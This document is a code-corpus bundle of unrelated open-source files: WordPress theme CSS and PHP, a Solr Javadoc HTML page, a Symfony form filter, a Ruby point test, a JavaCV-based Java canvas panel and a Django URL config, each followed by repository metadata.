hr{margin:20px auto;} .wrap{margin: 40px 0 0 60px;padding:30px;} .choice{padding:10px 0;overflow:hidden;} .choice .span1{float:left;} .choice .span2{float:left;margin-top:10px;} .choice input[type=text]{width:300px;margin-left:70px;padding:8px 4px;} .choice textarea{width: 320px;height: 35px;} .choice_radio{margin-left:150px;} .submit{margin-top:20px;margin-right:10px;padding:0;float:left;} .submit input,.submit input:hover,.submit input:active{padding:6px 10px;border:none;border-radius:0;background:#299982;color:#fff;text-shadow:none;}
lanruyi/blog.lanruyi.net
wp-content/themes/forget/admin/admin.css
CSS
gpl-2.0
553
<?php /** * Sample implementation of the Custom Header feature. * * You can add an optional custom header image to header.php like so ... * <?php if ( get_header_image() ) : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"> <img src="<?php header_image(); ?>" width="<?php echo esc_attr( get_custom_header()->width ); ?>" height="<?php echo esc_attr( get_custom_header()->height ); ?>" alt=""> </a> <?php endif; // End header image check. ?> * * @link https://developer.wordpress.org/themes/functionality/custom-headers/ * * @package sachyya */ /** * Set up the WordPress core custom header feature. * * @uses sachyya_header_style() */ function sachyya_custom_header_setup() { add_theme_support( 'custom-header', apply_filters( 'sachyya_custom_header_args', array( 'default-image' => '', 'default-text-color' => '000000', 'width' => 1000, 'height' => 250, 'flex-height' => true, 'wp-head-callback' => 'sachyya_header_style', ) ) ); } add_action( 'after_setup_theme', 'sachyya_custom_header_setup' ); if ( ! function_exists( 'sachyya_header_style' ) ) : /** * Styles the header image and text displayed on the blog. * * @see sachyya_custom_header_setup(). */ function sachyya_header_style() { $header_text_color = get_header_textcolor(); /* * If no custom options for text are set, let's bail. * get_header_textcolor() options: Any hex value, 'blank' to hide text. Default: HEADER_TEXTCOLOR. */ if ( HEADER_TEXTCOLOR === $header_text_color ) { return; } // If we get this far, we have custom styles. Let's do this. ?> <style type="text/css"> <?php // Has the text been hidden? if ( ! display_header_text() ) : ?> .site-title, .site-description { position: absolute; clip: rect(1px, 1px, 1px, 1px); } <?php // If the user has set a custom color for the text use that. else : ?> .site-title a, .site-description { color: #<?php echo esc_attr( $header_text_color ); ?>; } <?php endif; ?> </style> <?php } endif;
sachyya/portfolio
wp-content/themes/sachyya/inc/custom-header.php
PHP
gpl-2.0
2,080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_55) on Sun Feb 15 12:26:29 PST 2015 --> <meta http-equiv="Content-Type" content="text/html" charset="utf-8"> <title>org.apache.solr.client.solrj.embedded (Solr 5.0.0 API)</title> <meta name="date" content="2015-02-15"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="org.apache.solr.client.solrj.embedded (Solr 5.0.0 API)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../../org/apache/solr/analysis/package-summary.html">Prev Package</a></li> <li><a href="../../../../../../org/apache/solr/cloud/package-summary.html">Next Package</a></li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?org/apache/solr/client/solrj/embedded/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h1 title="Package" class="title">Package&nbsp;org.apache.solr.client.solrj.embedded</h1> <div class="docSummary"> <div class="block"> SolrJ client implementations for embedded solr access.</div> </div> <p>See:&nbsp;<a href="#package_description">Description</a></p> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation"> <caption><span>Class Summary</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Class</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../../../org/apache/solr/client/solrj/embedded/EmbeddedSolrServer.html" title="class in org.apache.solr.client.solrj.embedded">EmbeddedSolrServer</a></td> <td class="colLast"> <div class="block">SolrClient that connects directly to SolrCore.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../../../org/apache/solr/client/solrj/embedded/JettySolrRunner.html" title="class in org.apache.solr.client.solrj.embedded">JettySolrRunner</a></td> <td class="colLast"> <div class="block">Run solr using jetty</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../../../org/apache/solr/client/solrj/embedded/JettySolrRunner.DebugFilter.html" title="class in org.apache.solr.client.solrj.embedded">JettySolrRunner.DebugFilter</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../../../org/apache/solr/client/solrj/embedded/JettySolrRunner.Servlet404.html" title="class in org.apache.solr.client.solrj.embedded">JettySolrRunner.Servlet404</a></td> <td class="colLast"> <div class="block">This is a stupid hack to give jetty something to attach to</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../../../org/apache/solr/client/solrj/embedded/SSLConfig.html" title="class in org.apache.solr.client.solrj.embedded">SSLConfig</a></td> <td class="colLast">&nbsp;</td> </tr> </tbody> </table> </li> </ul> <a name="package_description"> <!-- --> </a> <h2 title="Package org.apache.solr.client.solrj.embedded Description">Package org.apache.solr.client.solrj.embedded Description</h2> <div class="block"><p> SolrJ client implementations for embedded solr access. </p> <p> See <a href="../../../../../../../solr-solrj/org/apache/solr/client/solrj/package-summary.html?is-external=true"><code>org.apache.solr.client.solrj</code></a> for additional details. </p></div> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../../org/apache/solr/analysis/package-summary.html">Prev Package</a></li> <li><a href="../../../../../../org/apache/solr/cloud/package-summary.html">Next Package</a></li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?org/apache/solr/client/solrj/embedded/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small> <i>Copyright &copy; 2000-2015 Apache Software Foundation. All Rights Reserved.</i> <script src='../../../../../../prettify.js' type='text/javascript'></script> <script type='text/javascript'> (function(){ var oldonload = window.onload; if (typeof oldonload != 'function') { window.onload = prettyPrint; } else { window.onload = function() { oldonload(); prettyPrint(); } } })(); </script> </small></p> </body> </html>
annieweng/solr_example
solr-5.0.0/docs/solr-core/org/apache/solr/client/solrj/embedded/package-summary.html
HTML
gpl-2.0
7,291
<?php require_once(sfConfig::get('sf_lib_dir').'/filter/base/BaseFormFilterPropel.class.php'); /** * CatArt filter form base class. * * @package sf_sandbox * @subpackage filter * @author Your name here * @version SVN: $Id: sfPropelFormFilterGeneratedTemplate.php 16976 2009-04-04 12:47:44Z fabien $ */ class BaseCatArtFormFilter extends BaseFormFilterPropel { public function setup() { $this->setWidgets(array( 'cat_des' => new sfWidgetFormFilterInput(), 'dis_cen' => new sfWidgetFormFilterInput(), 'campo1' => new sfWidgetFormFilterInput(), 'campo2' => new sfWidgetFormFilterInput(), 'campo3' => new sfWidgetFormFilterInput(), 'campo4' => new sfWidgetFormFilterInput(), 'co_us_in' => new sfWidgetFormFilterInput(), 'fe_us_in' => new sfWidgetFormFilterInput(), 'co_us_mo' => new sfWidgetFormFilterInput(), 'fe_us_mo' => new sfWidgetFormFilterInput(), 'co_us_el' => new sfWidgetFormFilterInput(), 'fe_us_el' => new sfWidgetFormFilterInput(), 'revisado' => new sfWidgetFormFilterInput(), 'trasnfe' => new sfWidgetFormFilterInput(), 'co_sucu' => new sfWidgetFormFilterInput(), 'rowguid' => new sfWidgetFormFilterInput(), 'co_imun' => new sfWidgetFormFilterInput(), 'co_reten' => new sfWidgetFormFilterInput(), 'row_id' => new sfWidgetFormFilterInput(), 'movil' => new sfWidgetFormChoice(array('choices' => array('' => 'yes or no', 1 => 'yes', 0 => 'no'))), )); $this->setValidators(array( 'cat_des' => new sfValidatorPass(array('required' => false)), 'dis_cen' => new sfValidatorPass(array('required' => false)), 'campo1' => new sfValidatorPass(array('required' => false)), 'campo2' => new sfValidatorPass(array('required' => false)), 'campo3' => new sfValidatorPass(array('required' => false)), 'campo4' => new sfValidatorPass(array('required' => false)), 'co_us_in' => new sfValidatorPass(array('required' => false)), 'fe_us_in' => new sfValidatorPass(array('required' => false)), 'co_us_mo' => new sfValidatorPass(array('required' => false)), 'fe_us_mo' => new sfValidatorPass(array('required' => false)), 'co_us_el' => new sfValidatorPass(array('required' => false)), 'fe_us_el' => new sfValidatorPass(array('required' => false)), 'revisado' => new sfValidatorPass(array('required' => false)), 'trasnfe' => new sfValidatorPass(array('required' => false)), 'co_sucu' => new sfValidatorPass(array('required' => false)), 'rowguid' => new sfValidatorPass(array('required' => false)), 'co_imun' => new sfValidatorPass(array('required' => false)), 'co_reten' => new sfValidatorPass(array('required' => false)), 'row_id' => new sfValidatorPass(array('required' => false)), 'movil' => new sfValidatorChoice(array('required' => false, 'choices' => array('', 1, 0))), )); $this->widgetSchema->setNameFormat('cat_art_filters[%s]'); $this->errorSchema = new sfValidatorErrorSchema($this->validatorSchema); parent::setup(); } public function getModelName() { return 'CatArt'; } public function getFields() { return array( 'co_cat' => 'Text', 'cat_des' => 'Text', 'dis_cen' => 'Text', 'campo1' => 'Text', 'campo2' => 'Text', 'campo3' => 'Text', 'campo4' => 'Text', 'co_us_in' => 'Text', 'fe_us_in' => 'Text', 'co_us_mo' => 'Text', 'fe_us_mo' => 'Text', 'co_us_el' => 'Text', 'fe_us_el' => 'Text', 'revisado' => 'Text', 'trasnfe' => 'Text', 'co_sucu' => 'Text', 'rowguid' => 'Text', 'co_imun' => 'Text', 'co_reten' => 'Text', 'row_id' => 'Text', 'movil' => 'Boolean', ); } }
luelher/gescob
lib/filter/profit/base/BaseCatArtFormFilter.class.php
PHP
gpl-2.0
3,869
require File.join(File.dirname(__FILE__), 'test_helper') class PointTest < Test::Unit::TestCase context "A point" do setup do @point = Pathfinder::Point.new 1, 2 end should "respond to #x and #y" do assert_equal 1, @point.x assert_equal 2, @point.y end should "convert to an Array using #to_a" do assert_equal [1,2], @point.to_a end should "output in ordered-pair notation upon #inspect" do assert_equal "(1,2)", @point.inspect end should "have distance zero from itself" do assert_equal 0.0, @point.distance(@point) end should "use the distance formula to calculate #distance" do origin = Pathfinder::Point.new 0,0 assert_in_delta Math.sqrt(5), @point.distance(origin), 0.0001 end end end
madriska/pathfinder
test/point_test.rb
Ruby
gpl-2.0
809
package org.iq4j.webcam; import java.awt.Canvas; import java.awt.Color; import java.awt.Dimension; import java.awt.EventQueue; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.GraphicsDevice; import java.awt.GraphicsEnvironment; import java.awt.Image; import java.awt.KeyEventDispatcher; import java.awt.KeyboardFocusManager; import java.awt.Transparency; import java.awt.color.ColorSpace; import java.awt.color.ICC_ColorSpace; import java.awt.color.ICC_ProfileRGB; import java.awt.event.KeyEvent; import java.awt.image.BufferStrategy; import java.awt.image.BufferedImage; import javax.swing.JPanel; import com.googlecode.javacv.cpp.opencv_core.CvScalar; import com.googlecode.javacv.cpp.opencv_core.IplImage; /** * * @author Samuel Audet * * * Make sure OpenGL or XRender is enabled to get low latency, something like * export _JAVA_OPTIONS=-Dsun.java2d.opengl=True * export _JAVA_OPTIONS=-Dsun.java2d.xrender=True * * @author Sertac ANADOLLU ( anatolian ) * * JPanel version of javacv CanvasFrame * */ public class CanvasPanel extends JPanel { private static final long serialVersionUID = 1L; public static class Exception extends java.lang.Exception { private static final long serialVersionUID = 1L; public Exception(String message) { super(message); } public Exception(String message, Throwable cause) { super(message, cause); } } public static GraphicsDevice getDefaultScreenDevice() { return GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice(); } public static double getGamma(GraphicsDevice screen) { ColorSpace cs = screen.getDefaultConfiguration().getColorModel().getColorSpace(); if (cs.isCS_sRGB()) { return 2.2; } else { try { return ((ICC_ProfileRGB)((ICC_ColorSpace)cs).getProfile()).getGamma(0); } catch (RuntimeException e) { } } return 0.0; } public CanvasPanel() { this(0.0); } public CanvasPanel(double gamma) { this(gamma, Dimensions.DEFAULT_SIZE); } public CanvasPanel(double gamma, Dimension size) { this.gamma = gamma; setPreferredSize(size); setSize(size); setBackground(Color.LIGHT_GRAY); } private void startCanvas() { Runnable r = new Runnable() { public void run() { KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keyEventDispatch); GraphicsDevice gd = getGraphicsConfiguration().getDevice(); double g = gamma == 0.0 ? getGamma(gd) : gamma; inverseGamma = g == 0.0 ? 1.0 : 1.0/g; setVisible(true); setupCanvas(gamma); try { Thread.sleep(1000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } }}; if (EventQueue.isDispatchThread()) { r.run(); setCanvasSize(getSize().width, getSize().height); } else { try { EventQueue.invokeAndWait(r); } catch (java.lang.Exception ex) { } } } public void resetCanvas() { canvas = null; } protected void setupCanvas(double gamma) { canvas = new Canvas() { private static final long serialVersionUID = 1L; @Override public void update(Graphics g) { paint(g); } @Override public void paint(Graphics g) { // Calling BufferStrategy.show() here sometimes throws // NullPointerException or IllegalStateException, // but otherwise seems to work fine. try { BufferStrategy strategy = canvas.getBufferStrategy(); do { do { g = strategy.getDrawGraphics(); if (color != null) { g.setColor(color); g.fillRect(0, 0, getWidth(), getHeight()); } if (image != null) { g.drawImage(image, 0, 0, getWidth(), getHeight(), null); } if (buffer != null) { g.drawImage(buffer, 0, 0, getWidth(), getHeight(), null); } g.dispose(); } while (strategy.contentsRestored()); strategy.show(); } while (strategy.contentsLost()); } catch (NullPointerException e) { } catch (IllegalStateException e) { } } }; needInitialResize = true; add(canvas); canvas.setVisible(true); canvas.createBufferStrategy(2); } // used for example as debugging console... public static CanvasPanel global = null; // Latency is about 60 ms on Metacity and Windows XP, and 90 ms on Compiz Fusion, // but we set the default to twice as much to take into account the roundtrip // camera latency as well, just to be sure public static final long DEFAULT_LATENCY = 200; private long latency = DEFAULT_LATENCY; private KeyEvent keyEvent = null; private KeyEventDispatcher keyEventDispatch = new KeyEventDispatcher() { public boolean dispatchKeyEvent(KeyEvent e) { if (e.getID() == KeyEvent.KEY_PRESSED) { synchronized (CanvasPanel.this) { keyEvent = e; CanvasPanel.this.notify(); } } return false; } }; protected Canvas canvas = null; protected boolean needInitialResize = false; protected double initialScale = 1.0; protected double inverseGamma = 1.0; private Color color = null; private Image image = null; private BufferedImage buffer = null; private final double gamma; public long getLatency() { // if there exists some way to estimate the latency in real time, // add it here return latency; } public void setLatency(long latency) { this.latency = latency; } public void waitLatency() throws InterruptedException { Thread.sleep(getLatency()); } public KeyEvent waitKey() throws InterruptedException { return waitKey(0); } public synchronized KeyEvent waitKey(int delay) throws InterruptedException { if (delay >= 0) { keyEvent = null; wait(delay); } KeyEvent e = keyEvent; keyEvent = null; return e; } public Canvas getCanvas() { return canvas; } public Dimension getCanvasSize() { return canvas.getSize(); } public void setCanvasSize(final int width, final int height) { Dimension d = getCanvasSize(); if (d.width == width && d.height == height) { return; } Runnable r = new Runnable() { public void run() { // There is apparently a bug in Java code for Linux, and what happens goes like this: // 1. Canvas gets resized, checks the visible area (has not changed) and updates // BufferStrategy with the same size. 2. pack() resizes the frame and changes // the visible area 3. We call Canvas.setSize() with different dimensions, to make // it check the visible area and reallocate the BufferStrategy almost correctly // 4. Finally, we resize the Canvas to the desired size... phew! canvas.setSize(width, height); setSize(width, height); canvas.setSize(width+1, height+1); canvas.setSize(width, height); needInitialResize = false; }}; if (EventQueue.isDispatchThread()) { r.run(); } else { try { EventQueue.invokeAndWait(r); } catch (java.lang.Exception ex) { } } } public double getCanvasScale() { return initialScale; } public void setCanvasScale(double initialScale) { this.initialScale = initialScale; this.needInitialResize = true; } public Graphics2D createGraphics() { if (buffer == null || buffer.getWidth() != canvas.getWidth() || buffer.getHeight() != canvas.getHeight()) { BufferedImage newbuffer = canvas.getGraphicsConfiguration().createCompatibleImage( canvas.getWidth(), canvas.getHeight(), Transparency.TRANSLUCENT); if (buffer != null) { Graphics g = newbuffer.getGraphics(); g.drawImage(buffer, 0, 0, null); g.dispose(); } buffer = newbuffer; } return buffer.createGraphics(); } public void releaseGraphics(Graphics2D g) { g.dispose(); canvas.paint(null); } public void showColor(CvScalar color) { showColor(new Color((int)color.red(), (int)color.green(), (int)color.blue())); } public void showColor(Color color) { this.color = color; this.image = null; canvas.paint(null); } // Java2D will do gamma correction for TYPE_CUSTOM BufferedImage, but // not for the standard types, so we need to do it manually. public void showImage(IplImage image) { showImage(image, false); } public void showImage(IplImage image, boolean flipChannels) { showImage(image.getBufferedImage(image.getBufferedImageType() == BufferedImage.TYPE_CUSTOM ? 1.0 : inverseGamma, flipChannels)); } public void showImage(Image image) { if(canvas == null) { startCanvas(); } if (image == null) { return; } else if (needInitialResize) { int w = (int)Math.round(image.getWidth (null)*initialScale); int h = (int)Math.round(image.getHeight(null)*initialScale); setCanvasSize(w, h); } this.color = null; this.image = image; canvas.paint(null); } }
anadollu/iq4j-javacv
iq4j-javacv/src/main/java/org/iq4j/webcam/CanvasPanel.java
Java
gpl-2.0
10,318
from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.map, name='map'), url(r'^mapSim', views.mapSim, name='mapSim'), url(r'^api/getPos', views.getPos, name='getPos'), url(r'^api/getProjAndPos', views.getProjAndPos, name='getProjAndPos'), ]
j-herrera/icarus
icarus_site/ISStrace/urls.py
Python
gpl-2.0
279